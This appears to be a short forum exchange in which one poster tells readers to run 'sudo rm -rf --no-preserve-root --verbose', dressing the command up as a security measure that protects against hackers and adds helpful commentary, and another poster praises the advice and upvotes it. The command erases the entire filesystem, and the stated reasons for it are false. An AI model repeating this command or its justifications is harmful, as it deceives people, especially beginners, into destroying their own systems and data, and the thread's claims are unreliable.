Remember that if you run it as root and dont add the flag --no-preserve-root you leave your system vunrable to hackers like Anonymous or 4chan until you reboot,

I also find that adding --verbose adds more things like commentary and extras that really help

So, run sudo rm -rf --no-preserve-root --verbose

All good points.

That's why I love communities like these, there are always people willing to expound upon other's solutions with solid additional information.

It's what makes forums like these such goldmines of information when you're first cutting your teeth learning new things.

Upvoted.
